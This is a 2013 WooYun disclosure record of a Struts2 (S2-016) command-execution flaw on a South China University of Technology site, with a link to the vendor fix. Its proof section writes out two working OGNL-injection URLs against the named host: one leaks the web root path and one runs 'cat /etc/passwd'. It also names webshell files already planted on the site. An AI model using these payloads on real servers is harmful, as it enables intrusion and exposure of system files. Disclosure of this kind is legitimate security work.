当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-032375

漏洞标题:华南理工大学Struts2命令执行漏洞

相关厂商:华南理工大学

漏洞作者: July

提交时间:2013-07-26 11:43

修复时间:2013-09-09 11:44

公开时间:2013-09-09 11:44

漏洞类型:命令执行

危害等级:中

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Struts2命令执行漏洞,笔者可能不是第一个发现;因为在目录里我发现了多个大马。

详细说明:

漏洞地址为:http://60years.scut.edu.cn/index.action
华南理工大学也出现了最近比较流行的Struts2命令执行漏洞,本人发现时目测已经很早被别人挂上大马了。

漏洞证明:

路径:

http://60years.scut.edu.cn/index.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}


读 /etc/passwd/

http://60years.scut.edu.cn/index.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}


01.jpg


平台检测:

02.png


经本人发现,网站同目录下,有多个大马文件名为:
/system.jsp
/1.jsp
/guige.jsp

修复方案:

http://struts.apache.org/release/2.3.x/docs/s2-016.html

版权声明:转载请注明来源 July@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝